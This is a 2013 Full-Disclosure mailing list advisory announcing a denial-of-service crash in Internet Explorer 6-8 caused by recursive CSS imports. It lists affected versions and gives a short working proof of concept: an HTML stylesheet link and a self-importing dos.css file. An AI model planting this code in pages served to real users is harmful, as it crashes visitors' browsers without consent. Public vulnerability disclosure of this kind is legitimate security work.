Hello list!
I want to warn you about Denial of Service vulnerabilities in Internet
Explorer. This is access violation.
I've made the exploit and tested this vulnerability at 13.02.2013. This
exploit is based on video by TheSecuritylab for IE7. As I've tested, it also
works in IE6 and IE8.
-------------------------
Affected products:
-------------------------
Vulnerable are Internet Explorer 6 (6.0.2900.2180), Internet Explorer 7
(7.00.5730.13), Internet Explorer 8.0 (8.00.6001.18702) and previous
versions of these browsers. IE9 is not affected (Microsoft fixed this hole).
----------
Details:
----------
Denial of Service (WASC-10):
Browser crashes at recursive including of css-file. It happens due to access
violation (aka segmentation fault) in iexplore.exe. Also it's important for
the crash that css-file has short name. For exploit to work in IE6 it's
needed to refresh the page.
PoC / Exploit:
IE_DoS_Exploit.html
<link href="dos.css" rel="stylesheet" type="text/css">
dos.css
@import url("dos.css");
@import url("dos.css");
@import url("dos.css");
@import url("dos.css");
@import url("dos.css");
Video PoC:
Internet Explorer CSS Denial of Service Vulnerability
http://www.youtube.com/watch?v=eihStRWnrX4
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
